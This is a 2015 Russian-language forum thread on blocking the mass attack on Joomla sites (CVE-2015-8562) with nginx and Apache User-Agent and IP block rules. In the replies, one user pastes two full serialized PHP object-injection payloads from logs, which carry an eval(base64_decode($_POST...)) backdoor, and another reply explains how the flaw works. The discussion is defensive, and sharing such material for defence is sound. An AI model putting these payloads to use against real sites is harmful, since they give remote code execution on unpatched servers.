URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 105980
[ Назад ]

Исходное сообщение
"Раздел полезных советов: Блокировка атаки на Joomla силами n..."

Отправлено auto_tips , 16-Дек-15 10:46 
Продолжается [[https://www.opennet.me/opennews/art.shtml?num=43521 массовая атака]] на сайты под управлением Joomla. К сожалению на базе данной CMS в сети много сайтов, администраторы которых не спешат устанавливать обновления. На системах хостинга можно попытаться блокировать типовую автоматизированную атаку централизованно, на стороне сервера.

Для блокировки можно заблокировать обращение c User Agent "JDatabaseDriverMysql" и "O:", а также запретить обращение c IP-адресов, с которых зафиксировано проведение атаки.

Пример для nginx:

   http {
       map $http_user_agent $blocked_ua {
           ~(?i)JDatabaseDriverMysql 1;
           ~(?i)O: 1;
           default 0;
       }
       map $remote_addr $blocked_ip {
          74.3.170.33 1;
          146.0.72.83 1;
          194.28.174.106 1;
          default 0;
       }
       server {
           listen 80;
           if ($blocked_ua) { return 403; }
           if ($blocked_ip) { return 403; }
           # ...
       }
   }


Пример для apache httpd:

   RewriteCond %{REMOTE_ADDR} =74.3.170.33 [OR]
   RewriteCond %{REMOTE_ADDR} =146.0.72.83 [OR]
   RewriteCond %{REMOTE_ADDR} =194.28.174.106
   RewriteRule .* / [F]

   RewriteCond %{HTTP_USER_AGENT} JDatabaseDriverMysql [OR]
   RewriteCond %{HTTP_USER_AGENT} O\:
   RewriteRule .* / [F]


URL: https://www.nginx.com/blog/new-joomla-exploit-cve-2015-8562/
Обсуждается: http://www.opennet.me/tips/info/2930.shtml


Содержание

Сообщения в этом обсуждении
"Блокировка атаки на Joomla силами nginx и apache"
Отправлено ааааа , 16-Дек-15 10:46 
if ($http_user_agent ~* ".*\{.*")
{
    return 403;
}

"Блокировка атаки на Joomla силами nginx и apache"
Отправлено тигар , 16-Дек-15 13:26 
"отдавать" нужно 444, а не 403. ибо нефиг

"Раздел полезных советов: Блокировка атаки на Joomla силами n..."
Отправлено adsh , 16-Дек-15 22:31 
> Для блокировки можно заблокировать обращение c User Agent "JDatabaseDriverMysql" и "O:",
> а также запретить обращение c IP-адресов, с которых зафиксировано проведение атаки.

Какой-то наивный совет. Можно подумать, что User Agent фиксированный, а атаковать додумаются лишь с трёх адресов из всего интернет.


"Раздел полезных советов: Блокировка атаки на Joomla силами n..."
Отправлено Аноним , 16-Дек-15 23:26 
> Какой-то наивный совет. Можно подумать, что User Agent фиксированный, а атаковать додумаются
> лишь с трёх адресов из всего интернет.

Боты пока зафиксированы только с этих адресов, а маска в User Agent это часть кода для атаки. Целевые атаки не рассматриваются, так как защищают таким способом только никому уже не нужные протухшие сайты, интересные только ботам.


"Блокировка атаки на Joomla силами nginx и apache"
Отправлено ононимъ , 17-Дек-15 07:33 
слушайте, а если в логах заход с таким UserAgent был - как проверить, установлен ли шелл или т.п. вредоносные мероприятия? патч сразу был поставлен, .htaccess поправлен, следующие попытки - 403, но 1-2-то пролезли...

"Блокировка атаки на Joomla силами nginx и apache"
Отправлено Slava , 18-Дек-15 13:37 
обновился вовремя, но присоеденюсь к вопросу

"Блокировка атаки на Joomla силами nginx и apache"
Отправлено Slava , 18-Дек-15 13:58 
строки в логе следующие:
\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:57:\x22eval(base64_decode($_POST[s]));JFactory::getConfig();exit\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD"
и
\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:102:\x22eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST[s]))))));JFactory::getConfig();exit\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD"

расшифруйте, кто знает


"Блокировка атаки на Joomla силами nginx и apache"
Отправлено Евгений , 17-Дек-15 10:43 
Фиксирую эпизоды атаки на сайты при помощи внедрения вышеописанного эксплоита в HTTP заголовок "x_forwarded_for".

"Блокировка атаки на Joomla силами nginx и apache"
Отправлено Slava , 18-Дек-15 13:33 
ip адреса с которых идет атака разные
46.45.183.142
178.76.225.33
112.184.95.6
202.142.105.229
91.214.84.166
95.135.182.10
93.168.108.29
89.147.250.103
105.227.191.131
122.179.67.16
весь интернет не заблокируешь

"Блокировка атаки на Joomla силами nginx и apache"
Отправлено pavlinux , 21-Дек-15 19:38 
> весь интернет не заблокируешь

ifconfig eth0 down;


"Блокировка атаки на Joomla силами nginx и apache"
Отправлено Аноним , 24-Дек-15 22:10 
# halt

"Блокировка атаки на Joomla силами nginx и apache"
Отправлено kleemhead , 21-Дек-15 22:54 
>ifconfig eth0 down;

Для параноидального режима

iptables -P INPUT DROP

poweroff


"Блокировка атаки на Joomla силами nginx и apache"
Отправлено kleemhead , 21-Дек-15 22:58 
>ifconfig eth0 down;

ifdown eth0


"Блокировка атаки на Joomla силами nginx и apache"
Отправлено pavlinux , 27-Дек-15 02:08 
# ifdown eth0
sh: ifdown: Command not found

"Блокировка атаки на Joomla силами nginx и apache"
Отправлено ононимъ , 22-Дек-15 08:49 
а всё таки, гуру просветлённые с недюжинным ч.ю., есть ответ? в логах следы есть, файлов изменённых в папке сайта нет. куда ещё копать, где проверить?

"Блокировка атаки на Joomla силами nginx и apache"
Отправлено анонимь , 29-Дек-15 15:46 
Оналогично, дружище. Всё проверил, ничего не нашёл. Что делает эта строка, кто-нибудь может описать?

"Блокировка атаки на Joomla силами nginx и apache"
Отправлено ааааа , 30-Дек-15 20:02 
произвольный код исполняется... вебшеллы не залили, лишних пользователей в джумлу не добавили - уже хорошо...

====
В коде обработчика сессий Joomla пристутствует уязвимость, которая позволяет осуществить внедрение строки в синтаксис сериализованной сессии через HTTP-заголовки User-Agent и X-Forwarded-For. Эксплоит использует особенность MySQL при обработке utf8-символов из диапазона U+010000 — U+10FFFF. При вставке строки, в конце которой присутствует такой символ, MySQL обрежет данные. Это позволяет сформировать и записать в таблицу сессий строку, в которой присутствуют пользовательские PHP-объекты, без нарушения синтаксиса. В ходе десериализации сессии атакующего вызываются деструкторы классов Joomla, что ведет к выполнению произвольного кода​
====